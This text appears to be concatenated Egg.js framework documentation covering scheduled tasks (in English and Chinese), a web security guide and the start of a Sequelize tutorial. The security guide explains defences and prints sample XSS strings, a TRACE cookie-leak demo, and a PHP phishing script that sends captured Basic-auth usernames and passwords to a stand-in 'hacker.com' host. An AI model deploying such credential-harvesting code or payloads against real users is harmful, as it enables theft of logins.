│    │    │    └────────── day of month (1 - 31)
│    │    └─────────────── hour (0 - 23)
│    └──────────────────── minute (0 - 59)
└───────────────────────── second (0 - 59, optional)
```

For example, the following code will execute once daily at 3 AM on each machine.

```typescript
// app/port/schedule/CronDemo.ts
import { Inject, Logger } from 'egg';
import { CronParams, Schedule, ScheduleType } from 'egg/schedule';

@Schedule<CronParams>({
  type: ScheduleType.WORKER,
  scheduleData: {
    // Execute once daily at 3 AM
    cron: '0 0 3 * * *',
    // Execute every 5 seconds
    // cron: '*/5 * * * * *',
  },
})
export class CronSubscriber {
  @Inject()
  private logger: Logger;

  async subscribe() {
    this.logger.info('schedule called');
  }
}
```

#### Worker Mode

Regular scheduled tasks generally use `worker` mode, which means only one worker on each machine will execute the scheduled task. The framework also provides an `all` mode option for scenarios where all workers on each machine need to execute the scheduled task.

* `worker` mode: Only one worker on each machine will execute this scheduled task. The worker that executes the task each time is selected **randomly**.
* `all` mode: Every worker on each machine will execute this scheduled task.

```typescript
import { Inject, Logger } from 'egg';
import { IntervalParams, Schedule, ScheduleType } from 'egg/schedule';

@Schedule<IntervalParams>({
  type: ScheduleType.ALL, // All workers will execute
  scheduleData: {
    interval: 100,
  },
})
export class AllScheduler {
  @Inject()
  private logger: Logger;

  async subscribe() {
    this.logger.info('schedule called');
  }
}
```

#### Scheduled Task Parameters

The `Schedule` decorator for regular scheduled tasks supports a second parameter to specify task runtime parameters.

* `immediate`: When set to true, the scheduled task will execute once immediately after the application starts and becomes ready.
* `disable`: When set to true, the scheduled task will not be started.
* `env`: An array specifying that the scheduled task should only start in specific environments.

```typescript
import { Inject, Logger } from 'egg';
import { IntervalParams, Schedule, ScheduleType } from 'egg/schedule';

@Schedule<IntervalParams>(
  {
    type: ScheduleType.WORKER,
    scheduleData: {
      interval: 100,
    },
  },
  {
    immediate: true, // Execute once immediately after app starts and becomes ready
    // disable: true, // When true, the scheduled task will not start
    env: ['devserver', 'test'], // Only run in offline environments
  },
)
export class ParamScheduler {
  @Inject()
  private logger: Logger;

  async subscribe() {
    this.logger.info('schedule called');
  }
}
```

---

---
url: /zh-CN/basics/schedule.md
---
# Schedule Controller 定时任务

## 使用场景

支持普通定时任务，在每台部署机器上都会执行。

## 使用方法

:::warning
⚠️ 注意：**不要将代码写在 `app/schedule` 路径下**，因为 egg 默认会扫描该路径注册定时任务，会和使用装饰器方式有冲突。
:::

### 普通定时任务

普通定时任务在每台部署的机器上都会执行定时任务调度逻辑。例如通常一个应用在生产环境最少部署在 2 台机器，则定时任务在这 2 台机器中都会运行。

使用 `Schedule` 装饰器标识一个类为定时任务控制器，该类要求必须包含一个名称为 `subscribe` 的方法。框架调度定时任务执行时，会调用 `Schedule` 注解类的 `subscribe` 方法执行。

#### 开启插件

egg 内置插件，默认开启。

```typescript
export default {
  teggSchedule: true,
};
```

#### interval 模式

普通定时任务，可以配置为 `interval` 模式，即每间隔指定的时间在每台机器上执行一次。间隔时间通过 `Schedule` 装饰器的 `scheduleData.interval` 参数设置。

* `interval` 传值数字类型时，单位为毫秒数，例如 `100`。
* `interval` 传值字符类型时，会通过 [ms](https://github.com/vercel/ms) 转换成毫秒数，例如 `5s`。

```typescript
// app/port/schedule/Demo.ts
import { Inject, Logger } from 'egg';
import { IntervalParams, Schedule, ScheduleType } from 'egg/schedule';

@Schedule<IntervalParams>({
  type: ScheduleType.WORKER,
  scheduleData: {
    interval: 100, // 每 100ms 执行一次
    // interval: '5s', // 每 5s 执行一次
  },
})
export class IntervalScheduler {
  @Inject()
  private logger: Logger;

  async subscribe() {
    this.logger.info('schedule called');
  }
}
```

#### cron 模式

普通定时任务，也支持 cron 表达式模式，即按照 cron 表达式规则执行定时任务。cron 表达式说明可参考 [cron-parser](https://github.com/harrisiirak/cron-parser)。

```text
*    *    *    *    *    *
┬    ┬    ┬    ┬    ┬    ┬
│    │    │    │    │    |
│    │    │    │    │    └ day of week (0 - 7) (0 or 7 is Sun)
│    │    │    │    └───── month (1 - 12)
│    │    │    └────────── day of month (1 - 31)
│    │    └─────────────── hour (0 - 23)
│    └──────────────────── minute (0 - 59)
└───────────────────────── second (0 - 59, optional)
```

例如下列代码将会每日 3 点在每台机器上执行一次。

```typescript
// app/port/schedule/CronDemo.ts
import { Inject, Logger } from 'egg';
import { CronParams, Schedule, ScheduleType } from 'egg/schedule';

@Schedule<CronParams>({
  type: ScheduleType.WORKER,
  scheduleData: {
    // 每日 3 点执行一次
    cron: '0 0 3 * * *',
    // 每 5 秒执行一次
    // cron: '*/5 * * * * *',
  },
})
export class CronSubscriber {
  @Inject()
  private logger: Logger;

  async subscribe() {
    this.logger.info('schedule called');
  }
}
```

#### 工作模式

普通定时任务，一般使用 `worker` 模式，即每台机器上只有一个 worker 会执行这个定时任务。框架也提供了 `all` 模式选项，用于每台机器上的所有 worker 都需要执行定时任务的场景。

* `worker` 模式：每台机器上只有一个 worker 会执行这个定时任务，每次执行定时任务的 worker 的选择是**随机的**。
* `all` 模式：每台机器上的每个 worker 都会执行这个定时任务。

```typescript
import { Inject, Logger } from 'egg';
import { IntervalParams, Schedule, ScheduleType } from 'egg/schedule';

@Schedule<IntervalParams>({
  type: ScheduleType.ALL, // 所有 worker 都会执行
  scheduleData: {
    interval: 100,
  },
})
export class AllScheduler {
  @Inject()
  private logger: Logger;

  async subscribe() {
    this.logger.info('schedule called');
  }
}
```

#### 定时任务参数

普通定时任务的 `Schedule` 装饰器支持传入第二个参数，用于指定定时任务运行参数。

* `immediate`：配置了该参数为 true 时，这个定时任务会在应用启动并 ready 后立刻执行一次这个定时任务。
* `disable`：配置该参数为 true 时，这个定时任务不会被启动。
* `env`：数组，仅在指定的环境下才启动该定时任务。

```typescript
import { Inject, Logger } from 'egg';
import { IntervalParams, Schedule, ScheduleType } from 'egg/schedule';

@Schedule<IntervalParams>(
  {
    type: ScheduleType.WORKER,
    scheduleData: {
      interval: 100,
    },
  },
  {
    immediate: true, // 在应用启动并 ready 后立刻执行一次
    // disable: true, // 为 true 时，定时任务不会被启动
    env: ['devserver', 'test'], // 仅在线下环境运行
  },
)
export class ParamScheduler {
  @Inject()
  private logger: Logger;

  async subscribe() {
    this.logger.info('schedule called');
  }
}
```

---

---
url: /core/security.md
---

## Concept of Web Security

There are a lot of security risks in Web applications, the risk will be used by hackers, while distort Web page content, or steal website internal data, further more, malicious code maybe embedded in the Web page, make users be weak. Common security vulnerabilities are as follows:

* XSS attack: inject scripts into Web pages, use JavaScript to steal user information, then induce user actions.
* CSRF attack: forgery user requests to launch malicious requests to the site.
* phishing attacks: use the site's links or images to create phishing traps.
* http parameter pollution: by using imperfect validation of parameter format, the server will be injected with parameters.
* remote code execution: users could implement command through browser, due to the server did not perform function against doing filtering, lead to malicious code execution.

The framework itself has a rich solution for common security risks on the Web side:

* use [extend](https://github.com/eggjs/egg/blob/master/docs/source/zh-cn/basics/extend.md) mechanism to extend Helper API, various template filtering functions are provided to prevent phishing or XSS attacks.
* Support of common Web security headers.
* CSRF defense.
* flexible security configuration that matches different request urls.
* customizable white list for safe redirect and url filtering.
* all kinds of template related tools for preprocessing.

Security plugins [@eggjs/security](https://github.com/eggjs/security) are built into the framework, provides default security practices.

### Open or Close the Configuration

Note: it is not recommended to turn off the functions provided by the security plugins unless the consequences are clearly confirmed.

The security plugin for the framework opens by default, if we want to close some security protection, directly set the `enable` attribute to false. For example, close xframe precautions:

```js
exports.security = {
  xframe: {
    enable: false,
  },
};
```

### `match` and `ignore`

Match and ignore methods and formats are the same with[middleware general configuration](../basics/middleware.md#match%20and%20ignore).

If you want to set security config open for a certain path, you can configure `match` option.

For example, just open csp when path contains `/example`, you can configure with the following configuration:

```js
exports.security = {
  csp: {
    match: '/example',
    policy: {
      //...
    },
  },
};
```

If you want to set security config disable for a certain path, you can configure match option.

For example, just disable xframe when path contains `/example` while our pages can be embedded in cooperative businesses , you can configure with the following configuration:

```js
exports.security = {
  csp: {
    ignore: '/example',
    xframe: {
      //...
    },
  },
};
```

If you want to close some security protection against internal IP:

```js
exports.security = {
  csrf: {
    // To determine whether to ignore the method, request context "context" as the first parameter
    ignore: (ctx) => isInnerIp(ctx.ip),
  },
};
```

We'll look at specific scenarios to illustrate how to use the security scenarios provided by the framework for Web security precautions.

## Prevention of Security Threat `XSS`

[XSS](https://www.owasp.org/index.php/Cross-site_Scripting_\(XSS\))（cross-site scripting）is the most common Web attack, which focus on "cross-domain" and "client-side execution."

XSS attacks generally fall into two categories:

* Reflected XSS
* Stored XSS

### Reflected XSS

Reflective XSS attacks, mainly because the server receives insecure input from the client, triggers the execution of a Web attack on the client side. Such as:

Search for items on a shopping site, and results will display search keywords. Now you fill in the search keywords `<script>alert('handsome boy')</script>`, then click search. If page does not filter the keywords, this code will be executed directly on the page, pop-up alert.

#### Prevention

Framework provides `helper.escape()` method to do string XSS filter.

```js
const str = '><script>alert("abc") </script><';
console.log(ctx.helper.escape(str));
// => &gt;&lt;script&gt;alert(&quot;abc&quot;) &lt;/script&gt;&lt;
```

When the site need to output the result of user input directly, be sure to use `helper.escape()` wrapped. Such as in [egg-view-nunjucks] will overwrite the built-in `escape`

In another case, the output of server's interface will be provided to JavaScript to use. This time you need to use `helper.sjs()` for filtering.

`helper.sjs()` is used to output variables in JavaScript (including events such as onload), and do JavaScript ENCODE for characters in variables.
All characters will be escaped to `\x` if there are not in whitelist, to prevent XSS attacks, also ensure the correctness of the output in JavaScript.

```js
const foo = '"hello"';

// not use sjs
console.log(`var foo = "${foo}";`);
// => var foo = ""hello"";

// use sjs
console.log(`var foo = "${this.helper.sjs(foo)}";`);
// => var foo = "\\x22hello\\x22";
```

There is also a case that sometimes we need to output json in JavaScript, which is easily exploited as a XSS vulnerability if it is not escaped. Framework provides `helper.sjson()` macro to do json encode, it will traverse the key in a json, all the character in the key's value will be escaped to `\x` if there are not in whitelist, to prevent XSS attacks, while keep the json structure unchanged.
If you need to output a JSON string for use in JavaScript, please use `helper.sjson(variable name)` to escape.

**The processing process is more complicated, the performance loss is larger, please use only if necessary**

Example:

```html
<script>
  window.locals = {{ helper.sjson(locals) }};
</script>
```

### Stored XSS

Stored XSS attacks are stored on the server by submitting content with malicious scripts that will be launched when others see the content. The content is typically edited through some rich text editors, and it is easy to insert dangerous code.

#### Prevention

Framework provides `helper.shtml()` to do XSS filtering.

Note that you need to use SHTML to handle the rich text (which contains the text of the HTML code) as a variable directly in the template.
Use SHTML to output HTML tags, while executing XSS filtering, then it can filter out illegal scripts.

**The processing process is more complicated, the performance loss is larger, please use only if you need to output html content**

Example：

```js
// js
const value = `<a href="http://www.domain.com">google</a><script>evilcode…</script>`;
```

```html
// template
<html>
  <body>
    {{ helper.shtml(value) }}
  </body>
</html>
// =>
<a href="http://www.domain.com">google</a>&lt;script&gt;evilcode…&lt;/script&gt;
```

Shtml based on [xss](https://github.com/leizongmin/js-xss/) , and add filters by domain name.

* [defaule rule](https://github.com/leizongmin/js-xss/blob/master/lib/default.js)
* [custom rule](http://jsxss.com/zh/options.html)

For example, only support `a` label, and all other properties except `title` are filtered: `whiteList: {a: ['title']}`

options:

* `config.helper.shtml.domainWhiteList: []` extend whilelist used by "href" and "src"

Note shtml uses a strict whitelisting mechanism, not only filter out the XSS risk strings, all tags or attrs outside \[the default rules] (https://github.com/leizongmin/js-xss/blob/master/lib/default.js) will be filtered out.

For example, tag `HTML` is not in the whitelist.

```js
const html = '<html></html>';

// html
{
  {
    helper.shtml(html);
  }
}
// empty output
```

Due to not in the whitelist, common properties like `data-xx` will be filtered.

So, it is important to pay attention to the use of shtml, which is generally aimed at the rich text input from users, please avoid abuse, which can be restricted and affect the performance of the service.

Such scenarios are generally like BBS, comment system, etc., even if does not support HTML content such as BBS input, do not use this Helper, direct use `escape` instead.

### JSONP XSS

JSONP's "callback" parameter is very dangerous, it has two kinds of risks that might lead to XSS

1. Callback parameter will truncate js code, the special characters like single quotation, double quotation or line breaks, both are at risk.

2、Callback parameter add tag maliciously(such as `<script>`), cause XSS risk.

Refer to [JSONP security technic](http://blog.knownsec.com/2015/03/jsonp_security_technic/)

Within the framework, the [jsonp-body](https://github.com/node-modules/jsonp-body) is used to make jsonp requests safe.

Defense content:

* maximum 50 character limit for the name of callback function
* callback function name only allow `[`, `]`, `a-zA-Z0123456789_`, `$`, `.` to prevent XSS or utf-7 XSS attacks, etc.

Configration:

* callback - default is `_callback`, you can rename
* limit - callback function name length limit, default is 50.

### Other XSS Precautions

Browser itself has some protection against all kinds of attacks, they generally take effect by opening the Web security headers. The framework has built-in support for some common Web security headers.

#### CSP

CSP is short for Content Security Policy, It is mainly used to define which resources the page can load and reduce the occurrence of XSS.

The framework supports the CSP configuration, but is closed by default, which can effectively prevent XSS attacks from happening. To configure the CSP, you need to know the policy strategy of CSP first, the details you can refer to \[what CSP] (https://www.zhihu.com/question/21979782).

#### X-Download-Options:noopen

Opened by default, introduced in IE8 to control visibility of the "Open" button on the file download dialog.

Refer to http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx

#### X-Content-Type-Options:nosniff

Disable IE8 automatically sniffer such as `text/plain` rendered by `text/HTML` , especially when the content of this site is not credible.

#### X-XSS-Protection

Some XSS detection and precautions provided by Internet explorer, enabled by default

* close default is false，equal to `1; mode=block`

## Prevention of Security Threat `CSRF`

[CSRF or XSRF](https://www.owasp.org/index.php/CSRF) is short for Cross-site request forgery, also called `One Click Attack` or `Session Riding`, is a malicious use of the site.

CSRF attack will launch a malicious fake request for the site, which seriously affects the security of the site. Therefore, the framework has a built-in CSRF preparedness plan.

### Prevention

In general, there are some common [precautions](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet#CSRF_Specific_Defense) for CSRF attacks. Briefly introduce several common precautions:

* Synchronizer Tokens：When the response page is rendered, token is rendered in the page, which will be submitted through a hidden input when a form is submitted.

* Double Cookie Defense：The token will be stored in client Cookie, Cookie will be submitted when you submit a POST/PUT/PATCH/DELETE request, then you can get the token, and submit the token through header or body, service side will compare and check it.

* Custom Header：Trust request with specific header（like `X-Requested-With: XMLHttpRequest`）. This can be bypassed, so frameworks like rails and django [give up the guard](https://www.djangoproject.com/weblog/2011/feb/08/security/).

The framework combines these precautions to provide a configurable CSRF prevention strategy.

#### Usage

##### Submit Form with CSRF

In synchronous rendering the page, you should add a parameter name called `_csrf` in the form's submit url, the value is `ctx.csrf`, when user submitting this form , CSRF token will be submitted:

```html
<form
  method="POST"
  action="/upload?_csrf={{ ctx.csrf | safe }}"
  enctype="multipart/form-data"
>
  title: <input name="title" /> file: <input name="file" type="file" />
  <button type="submit">upload</button>
</form>
```

Fields that pass the CSRF token can be changed in the configuration:

```js
// config/config.default.js
module.exports = {
  security: {
    csrf: {
      queryName: '_csrf', // CSRF token parameter name passed through query, default is _csrf
      bodyName: '_csrf', // CSRF token parameter name passed through body, default is _csrf
    },
  },
};
```

In order to prevent the [BREACH attack](http://breachattack.com/), CSRF token rendered on the page will be changed everytime request changed, and the view plugin, such as `egg-view-nunjucks`, will automatically inject the hidden field in Form without any perception of the application developer.

##### AJAX Request

In the default configuration, the token is set in the Cookie, which can be fetched from the Cookie and sent to the server through query, body, or header when an AJAX request is requested.

In jQuery:

```js
var csrftoken = Cookies.get('csrfToken');

function csrfSafeMethod(method) {
  // these HTTP methods do not require CSRF protection
  return /^(GET|HEAD|OPTIONS|TRACE)$/.test(method);
}
$.ajaxSetup({
  beforeSend: function (xhr, settings) {
    if (!csrfSafeMethod(settings.type) && !this.crossDomain) {
      xhr.setRequestHeader('x-csrf-token', csrftoken);
    }
  },
});
```

The fields that pass the CSRF token through the header can also be changed in the configuration:

```js
// config/config.default.js
module.exports = {
  security: {
    csrf: {
      headerName: 'x-csrf-token', // CSRF token passed through header, default is x-csrf-token
    },
  },
};
```

#### Session vs Cookie Store

By default, the framework will present the CSRF token in a Cookie to facilitate AJAX requests. But all subdomains can set cookies, so when our application cannot controll all subdomains, there may be a risk of CSRF attack stored in the Cookie. The framework provides a configuration that token can be stored in the Session.

```js
// config/config.default.js
module.exports = {
  security: {
    csrf: {
      useSession: true, // default is false，if set to true , it will store csrf token in Session
      cookieName: 'csrfToken', // Field in Cookie , default is csrfToken
      sessionName: 'csrfToken', // Filed in Session , default is csrfToken
    },
  },
};
```

#### Ignore JSON Request(deprecated)

**Notice: this configure is deprecated, the attacker can bypass it through [flash and 307](https://www.geekboy.ninja/blog/exploiting-json-cross-site-request-forgery-csrf-using-flash/), please don't enable it in production environment!**

With security policy protection [SOP](https://en.wikipedia.org/wiki/Same-origin_policy), basically all modern browsers do not allow cross domain request when content-type is set to JSON, so we can just leave out JSON request.

```js
// config/config.default.js
module.exports = {
  security: {
    csrf: {
      ignoreJSON: true, // default is false，if set to be true ,it will leave out all request which content-type is `application/json`
    },
  },
};
```

#### Refresh CSRF token

As CSRF token is stored in Cookie, once the user switches in the same browser, a new login user will still use the old token (old user used) before, this will bring certain security risks, so everytime user do login, website must refresh **CSRF token**.

```js
// login controller
exports.login = async function (ctx) {
  const { username, password } = ctx.request.body;
  const user = await ctx.service.user.find({ username, password });
  if (!user) ctx.throw(403);
  ctx.session = { user };

  // call rotateCsrfSecret to refresh CSRF token
  ctx.rotateCsrfSecret();

  ctx.body = { success: true };
};
```

## Prevention of Security Threat `XST`

[XST](https://www.owasp.org/index.php/XST) is short for `Cross-Site Tracing`, client send TRACE request to server, if the server implement TRACE responding by standard, the complete header information of the request will be returned in response body. This way, client can get some sensitive header fields, such as httpOnly cookies.

Below, we implement a simple TRACE support server based on Koa:

```js
var koa = require('koa');
var app = koa();

app.use(async function (ctx, next) {
  ctx.cookies.set('a', 1, { httpOnly: true });
  if (ctx.method === 'TRACE') {
    var body = '';
    for (header in ctx.headers) {
      body += header + ': ' + ctx.headers[header] + '\r\n';
    }
    ctx.body = body;
  }
  await next;
});

app.listen(7001);
```

You can send a GET request first `curl -i http://127.0.0.1:7001` when service started, you will get response below:

```
HTTP/1.1 200 OK
X-Powered-By: koa
Set-Cookie: a=1; path=/; httponly
Content-Type: text/plain; charset=utf-8
Content-Length: 2
Date: Thu, 06 Nov 2014 05:04:42 GMT
Connection: keep-alive

OK
```

Then server sets an httpOnly Cookie `a` to 1, it is not possible to get it through the script in the browser environment.

Then we send a TRACE method request to the server with Cookie `curl -X TRACE -b a=1 -i http://127.0.0.1:7001`, and will get response below:

```
  HTTP/1.1 200 OK
  X-Powered-By: koa
  Set-Cookie: a=1; path=/; httponly
  Content-Type: text/plain; charset=utf-8
  Content-Length: 73
  Date: Thu, 06 Nov 2014 05:07:47 GMT
  Connection: keep-alive

  user-agent: curl/7.37.1
  host: 127.0.0.1:7001
  accept: */*
  cookie: a=1
```

The complete header information can be seen in the response body, so that we bypass the httpOnly limit and get the cookie a= 1, causing a great risk.

### More

http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html

http://deadliestwebattacks.com/2010/05/18/cross-site-tracing-xst-the-misunderstood-vulnerability/

### Prevention

The framework has banned three types of dangerous request type: trace, track, options.

## Prevention of Security threats `phishing attacks`

There are many ways to Phishing, here will introduce url Phishing, photo Phishing and iframe Phishing.

### URL Phishing

The server side does not check and control the incoming redirect url variable, which can lead to malicious construction of any malicious address, then can induce users to redirect to malicious websites.

Due to redirect from a trusted site, users will be more trust, so redirect risk is commonly used in phishing attacks, by going to a malicious web site and cheat users enter the user name and password to steal user information, make money trading or deceive users;

It may also cause XSS attact (mainly use 302 redirect often, set HTTP response headers: `Location: url`, if the url contains a CRLF, it could partition the HTTP response headers, make the back part falls to HTTP body, leading to XSS).

### Prevention

* If the redirect url can be determined in advance, including the value of the url and parameters, you can configured in the background first. If do redirect, directly preach corresponding index of url, and find corresponding specific url then redirect through index;
* If the redirect url is not previously determined, but it is generated by server background (not passing by user's parameter), you can make a redirect link, then sign it;
* if 1 and 2 are not satisfied, url could not determine beforehand and only pass through the front end of the incoming parameters, url must be validated before redirect, to judge whether it within the application authorization whitelist.

The framework provides a safe redirect method to avoid this risk by configuring a whitelist.

* `ctx.redirect(url)` If redirect url is not in the whitelist of configuration, it is forbidden.
* `ctx.unsafeRedirect(url)` Allow all redirects, It is generally not recommended to use after a clear understanding of possible risks.

Safety plan covers the default `ctx.redirect` method, all redirects will go through security domain.

You need to do the following configuration in the application configuration file if user use `ctx.redirect` method:

```js
// config/config.default.js
exports.security = {
  domainWhiteList: ['.domain.com'], // security domain while list, start with .
};
```

If user did not configure `domainWhiteList` or `domainWhiteList` array is empty, default will release all redirect requests, that is equal to `ctx.unsafeRedirect(url)`

### Photo Phishing

If website allow users insert unverified images into the web page, that will make a risk of Phishing.

Like common `401 Phishing` for example, when user accessing the page, it pops up a verification page to let user input account and password, when user input, account and password will be stored in the hacker's server.

Usually this kind of situation will appear in `<img src=$url />`, and not verify the `$url` whether within the domain name white list.

Attacker can construct the following code in his own server:

401.php, used to pop up 401 window, then record user information:

```php
  <?php
      header('WWW-Authenticate: Basic realm="No authorization"');
      header('HTTP/1.1 401 Unauthorized');
          $domain = "http://hacker.com/fishing/";
          if ($_SERVER[sectech:'PHP_AUTH_USER'] !== null){
                  header("Location: ".$domain."record.php?a=".$_SERVER[sectech:'PHP_AUTH_USER']."&b=".$_SERVER[sectech:'PHP_AUTH_PW']);
          }
  ?>
```

Then attacker generate an image url`<img src="http://xxx.xxx.xxx/fishing/401.php?a.jpg//" />`.

If user access the page, it will popup a window, and let user type in user's name and password, then account and password will be stored in the hacker's server.

### Prevention

Framework provides `.surl()` macro to do url filtering.It is Used to parse the url in the HTML tags in place (such as `<a href ="" /><img src=""/>`), other places are not allowed to use.

You can add `helper.surl($value)` in the template to output variable.

**Note: in places where you need to parse the url, you must add double quotes outside of surl, or you will result in XSS vulnerabilities.**

Do not use `surl`

```html
<a href="$value" />
```

output:

```html
<a href="http://ww.safe.com<script>" />
```

Use `surl`

```html
<a href="helper.surl($value)" />
```

output:

```html
<a href="http://ww.safe.com&lt;script&gt;" />
```

### Iframe Phishing

[Iframe Phishing](https://www.owasp.org/index.php/Cross_Frame_Scripting) By embedding iframe into the hacked page, the attacker can direct users to click on the iframe's dangerous website or even cover it, affecting the normal function of the site and hijacking the user's click operation.

Framework provides `X-Frame-Options` this security header to prevent iframe Phishing. The default value is `SAMEORIGIN`, which allows only the same domain to embed this page as an iframe.

This configuration can be turned off when you need to embed some trusted third-party web pages.

## Prevention of Security Threats `HPP`

HTTP protocol allows the parameters of the same name appears many times, due to the implementation of the application is not standard, the attacker from the distribution of parameters of transmission key and the value of different parameters, will cause to bypass the consequences of some protection.

The possible security threats to HPP are:

* bypass protection and parameter checking.
* generate logical vulnerabilities and errors that affect application code execution.

### More

* https://www.owasp.org/index.php/Testing\_for\_HTTP\_Parameter\_pollution\_(OTG-INPVAL-004)
* http://blog.csdn.net/eatmilkboy/article/details/6761407
* https://media.blackhat.com/bh-us-11/Balduzzi/BH\_US\_11\_Balduzzi\_HPP\_WP.pdf
* ebay RCE risk：http://secalert.net/2013/12/13/ebay-remote-code-execution/

### How to Protect

The framework itself forces the use of the first parameter when the client transports the same key and value different parameters, so it does not lead to an HPP attack.

## [man-in-middle attack](https://www.owasp.org/index.php/Man-in-the-middle_attack) with HTTP / HTTPS

HTTP is a widely used protocol for Web applications, responsible for Web content requests and acquisitions. Content request will across lots of "middleman", mainly in network link, ACTS as the content of the entrance to the browser, router, WIFI providers, communications operators. if you use a proxy, over the wall software will introduce more "middleman". Because the path and parameters of the HTTP request are explicitly written, these "middleman" can monitor, hijack, and block HTTP requests, it is called man-in-middle attack.

In the absence of HTTPS, ISPs can jump the link directly to an AD when the user initiates a request, or change the search results directly into their own ads. If there is a BUG in the hijacking code, the user will not be able to use the website, the white screen will appear.

Data leakage, request hijacking, content tampering, etc., the core reason is that HTTP is completely naked, and the domain name, path and parameters are clearly visible to the middle people. HTTPS does this by encrypting requests to make them more secure to users. In addition to protecting the interests of users, it can also avoid the traffic being held hostage to protect its own interests.

Although HTTPS is not absolute security, the organization that holds the root certificate and the organization that controls the encryption algorithm can also conduct a man-in-middle attack. But HTTPS is the most secure solution under the current architecture, and it significantly increases the cost of man-in-middle attack.

So, if you use the Egg framework to develop web site developers, please be sure to update your website to HTTPS.

For HTTPS, one should pay attention to is the HTTP transport security (HSTS) strictly, if you don't use HSTS, when a user input url in the browser without HTTPS, the browser will use HTTP access by default.

Framework has disableb `HSTS Strict-Transport-security` by default, then make the HTTPS site not redirect to HTTP. If your site supports HTTPS, be sure to open it.If our Web site is an HTTP site, we need to close this header.

The configuration is as follows:

* maxAge one yeah for default `365 * 24 * 3600`。
* includeSubdomains default is false, you can add subdomain to confirm all subdomains could be accessed by HTTPS.

## SSRF Protection

In a [Server-Side Request Forgery (SSRF)](https://www.owasp.org/index.php/Server_Side_Request_Forgery) attack, the attacker can abuse functionality on the server to read or update internal resources.

Generally, SSRF are common in that developers directly request the URL resources passed in by the client on the server side. Once an attacker passes in some internal URLs, an SSRF attack can be initiated.

### How to Protect

Usually, we will prevent SSRF attacks based on the IP blacklist of intranets. By filtering the IP addresses obtained after resolving domain names, we prohibit access to internal IP addresses to prevent SSRF attacks.

The framework provides the `safeCurl` method on `ctx`, ʻapp`and`agent`, which will filter the specified intranet IP address while doing the network request. In additon of the method are the same as `curl\`.

* `ctx.safeCurl(url, options)`
* `app.safeCurl(url, options)`
* `agent.safeCurl(url, options)`

#### Configurations

Calling the `safeCurl` method directly does not have any effect. It also needs to work with security configurations.

* `ipBlackList`(Array) - Configure the intranet IP address list. IP addresses on these network segments cannot be accessed.
* `checkAddress`(Function) - Directly configure a function to check the IP address, and determine whether it is allowed to be accessed in `safeCurl` according to the return value of the function. When returning is not `true`, this IP cannot be accessed. `checkAddress` has a higher priority than `ipBlackList`.

```js
// config/config.default.js
exports.security = {
  ssrf: {
    ipBlackList: [
      '10.0.0.0/8', // support CIDR subnet
      '0.0.0.0/32',
      '127.0.0.1', // support specific IP address
    ],
    // ipBlackList does not take effect when checkAddress is configured
    checkAddress(ip) {
      return ip !== '127.0.0.1';
    },
  },
};
```

## Other Build-in Security Tools

### ctx.isSafeDomain(domain)

To judge whether a domain is a secure domain. It is configured in the security configuration, see `ctx.redirect` parts.

### app.injectCsrf(str)

This function provides template preprocessing - the ability to automatically insert CSRF key, which can be automatically inserted CSRF hidden input into all of the form tags, then user will not need to manually write it.

### app.injectNonce(str)

This function provides the template pretreatment - automatically inserted into the `nonce` ability, if the site opens `CSP` safety http header, and want to use `CSP 2.0 nonce` features, you can use this function. Reference [CSP](https://www.zhihu.com/question/21979782).

This function scans the script tag in the template and automatically adds `nonce`.

### app.injectHijackingDefense(str)

For sites that do not open HTTPS, this function can be limited to preventing ISP hijacking.

[egg-view-nunjucks]: https://github.com/eggjs/egg-view-nunjucks

## Revert CVE

In the security fixes of node.js, there may be breaking changes. For example, in version 18.9.1, a security vulnerability was fixed, which caused some encryption-related code to not function properly. To address this issue, we provide a revert parameter, which is converted to the --security-revert parameter at startup, allowing the bypassing of the CVE fix.

```json
// package.json
{
  "egg": {
    // Supports two configuration methods
    // One is to use a string directly, specifying a CVE
    "revert": "CVE-2023-46809",
    // The other is to use an array of strings, allowing the specification of multiple CVEs
    "revert": ["CVE-2023-46809"]
  }
}
```

---

---
url: /tutorials/sequelize.md
---

[In the previous section](./mysql.md), we showed how to access the database through the [egg-mysql] plugin in the framework. In some more complex applications, we may need an ORM framework to help us manage the data layer code. In the Node.js community, [sequelize] is a widely used ORM framework that supports multiple data sources such as MySQL, PostgreSQL, SQLite, and MSSQL.

In this chapter, we will walk through the steps of how to use sequelize in an egg project by developing an example of doing CURD on the data in the `users` table in MySQL.

## Preparing

In this example, we will use sequelize to connect to the MySQL data source, so we need to install MySQL on the machine before we start writing code. If it is MacOS, we can quickly install it via homebrew:

```bash
brew install mysql
brew services start mysql
```

## Initialization

Init project by `npm`:

```bash
$ mkdir sequelize-project && cd sequelize-project
$ npm init egg --type=simple
$ npm i
```

Install and configure the [egg-sequelize] plugin (which will help us load the defined Model object onto `app` and `ctx` ) and the [mysql2] module:

* Install

```bash
npm install --save egg-sequelize mysql2
```

* Import egg-sequelize in `config/plugin.js`

```js
exports.sequelize = {
  enable: true,
  package: 'egg-sequelize',
};
```

* Write the sequelize configuration in `config/config.default.js`

```js
exports.sequelize = {
  dialect: 'mysql',
  host: '127.0.0.1',
  port: 3306,
  database: 'egg-sequelize-doc-default',
};
```

We can configure different data source addresses in different environment configurations to distinguish the databases used by different environments. For example, we can create a new `config/config.unittest.js` configuration file and write the following configuration. The connected database points to `egg-sequelize-doc-unittest`.

```js
exports.sequelize = {
  dialect: 'mysql',
  host: '127.0.0.1',
  port: 3306,
  database: 'egg-sequelize-doc-unittest',
};
```

After completing the above configuration, a project using sequelize is initialized. [egg-sequelize] and [sequelize] also support more configuration items, which can be found in their documentation.

## Database and Migrations Initialization

Next, let's temporarily leave the code of the egg project, design and initialize our database. First, we quickly create two databases for development and testing locally using the mysql command:

```bash
mysql -u root -e 'CREATE DATABASE IF NOT EXISTS `egg-sequelize-doc-default`;'
mysql -u root -e 'CREATE DATABASE IF NOT EXISTS `egg-sequelize-doc-unittest`;'
```

Then we started designing the `users` table, which has the following data structure:

```sql
CREATE TABLE `users` (
  `id` int(11) NOT NULL AUTO_INCREMENT COMMENT 'primary key',
  `name` varchar(30) DEFAULT NULL COMMENT 'user name',
  `age` int(11) DEFAULT NULL COMMENT 'user age',
  `created_at` datetime DEFAULT NULL COMMENT 'created time',
  `updated_at` datetime DEFAULT NULL COMMENT 'updated time',
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='user';
```

